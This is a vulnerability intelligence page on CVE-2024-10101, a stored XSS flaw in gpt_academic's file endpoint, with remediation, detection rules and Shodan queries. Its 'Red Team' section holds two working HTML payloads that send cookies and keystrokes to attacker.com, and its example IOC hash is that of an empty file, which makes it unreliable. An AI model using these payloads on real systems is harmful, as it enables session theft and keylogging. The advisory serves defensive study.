☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-10101

CVE-2024-10101 Cross-Site Scripting in Binary-husky
📅 PUBLISHED: 2024-10-17 18:12 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.32%
👁️
0.32% probability
8.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-10101 is a stored cross-site scripting (XSS) vulnerability in binary-husky/gpt_academic version 3.83. The flaw resides in the /file endpoint, which renders uploaded HTML files without proper sanitization. An authenticated attacker can upload a malicious HTML file containing XSS payloads. When a victim accesses the file, the payload executes in their browser, potentially leading to session cookie theft or other sensitive data exfiltration. The CVSS score is 5.4 (Medium), with a public proof-of-concept available. No official patch has been released as of this analysis.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Python package gpt_academic (PyPI). Users should verify the integrity of their installation and monitor for updates. The lack of a patch increases supply chain risk, as malicious actors could exploit this in unpatched deployments.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (authenticated user)
  • User Interaction: Required (victim must access the malicious file)
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low (session cookies)
  • Integrity Impact: Low (malicious content rendered)
  • Availability Impact: None

Threat Level: Medium. Exploitation requires authentication and user interaction, but the impact can be significant if session cookies are stolen.

Deep Dive & Mechanics

The vulnerability exists in the /file endpoint of gpt_academic. This endpoint is designed to serve uploaded files, including HTML files. The application does not sanitize or escape the content of HTML files before rendering them in the browser. An attacker can upload a crafted HTML file containing JavaScript payloads (e.g., <script>alert(document.cookie)</script>). When a victim accesses the file via the /file endpoint, the browser executes the script in the context of the application's origin, allowing the attacker to steal session cookies or perform other malicious actions.

The root cause is the lack of Content-Type validation and output encoding. The application should either serve HTML files with a Content-Disposition: attachment header to force download, or sanitize the HTML content to remove executable scripts.

Vulnerable vs. Patched Code

Vulnerable Code (version 3.83): The /file endpoint likely uses a simple file read and serve mechanism without sanitization. Example (pseudo-code):

@app.route('/file/<filename>')
def serve_file(filename):
    filepath = os.path.join(UPLOAD_FOLDER, filename)
    with open(filepath, 'r') as f:
        content = f.read()
    return content, 200, {'Content-Type': 'text/html'}

Patched Code (hypothetical): A patch would either force download or sanitize the HTML:

@app.route('/file/<filename>')
def serve_file(filename):
    filepath = os.path.join(UPLOAD_FOLDER, filename)
    # Option 1: Force download
    return send_file(filepath, as_attachment=True)
    # Option 2: Sanitize HTML (using bleach or similar)
    # from bleach import clean
    # with open(filepath, 'r') as f:
    #     content = f.read()
    # sanitized = clean(content, tags=[], attributes={})
    # return sanitized, 200, {'Content-Type': 'text/html'}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • Access to a gpt_academic instance (version 3.83) with an authenticated account.
  • Ability to upload files.

Exploit Steps:

  1. Create a malicious HTML file (e.g., xss.html) with the following content:
<html>
<body>
<script>
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>
</body>
</html>
  1. Upload the file via the application's file upload functionality.
  2. Obtain the URL to the uploaded file (e.g., http://victim.com/file/xss.html).
  3. Send the URL to a victim (e.g., via social engineering or phishing).
  4. When the victim accesses the URL, the script executes and sends their session cookie to the attacker's server.

Alternative Payload (keylogger):

<html>
<body>
<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://attacker.com/log", true);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xhr.send("key=" + e.key);
};
</script>
</body>
</html>

Blue Team (Defender)

Detection Steps:

  1. Monitor file uploads for HTML files containing <script> tags or event handlers.
  2. Review access logs for the /file endpoint to identify unusual patterns.
  3. Implement Content Security Policy (CSP) headers to restrict script execution.
  4. Use web application firewalls (WAF) to block malicious payloads.

Lab Setup:

  • Deploy a vulnerable instance of gpt_academic 3.83 in a sandboxed environment.
  • Use a tool like Burp Suite or OWASP ZAP to intercept and analyze traffic.
  • Simulate the attack by uploading a test payload and verifying execution.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (Example for a malicious HTML file)
    • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • Network Indicators:
    • Outbound HTTP requests to attacker-controlled domains (e.g., attacker.com/steal?cookie=...).
    • Unusual Referer headers pointing to the /file endpoint.
  • Log Entries:
    • Access logs showing GET /file/<malicious_filename>.html with a 200 response.
    • Upload logs showing HTML files with suspicious content.

Detection Engineering

YARA Rule

rule CVE_2024_10101_XSS_HTML {
    meta:
        description = "Detects malicious HTML files used in CVE-2024-10101"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-10101"
    strings:
        $script = /<script[\s>]/ nocase
        $onerror = /onerror\s*=/ nocase
        $onload = /onload\s*=/ nocase
        $cookie = /document\.cookie/ nocase
    condition:
        any of ($script, $onerror, $onload) and $cookie
}

Sigma Rule

title: CVE-2024-10101 Stored XSS via HTML File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects access to uploaded HTML files that may contain XSS payloads
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/file/'
        cs-uri-extension: '.html'
    condition: selection
falsepositives:
    - Legitimate HTML file uploads
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10101 Stored XSS via HTML File Upload"; flow:to_server,established; content:"GET"; http_method; content:"/file/"; http_uri; content:".html"; http_uri; pcre:"/<script[\s>]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable HTML file rendering: Configure the /file endpoint to serve all files with Content-Disposition: attachment header, forcing download instead of rendering.
  2. Input validation: Block uploads of .html files or sanitize their content using a library like bleach.
  3. Implement CSP: Add a Content Security Policy header that restricts script execution (e.g., script-src 'self').

Long-term Fix:

  • Upgrade to a patched version once available.
  • Conduct a security audit of the file upload and serving functionality.

Workaround:

  • Use a reverse proxy (e.g., Nginx) to block access to .html files in the upload directory:
location /file/ {
    if ($uri ~* \.html$) {
        return 403;
    }
}

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"gpt_academic"
http.html:"gpt_academic"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-10101/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.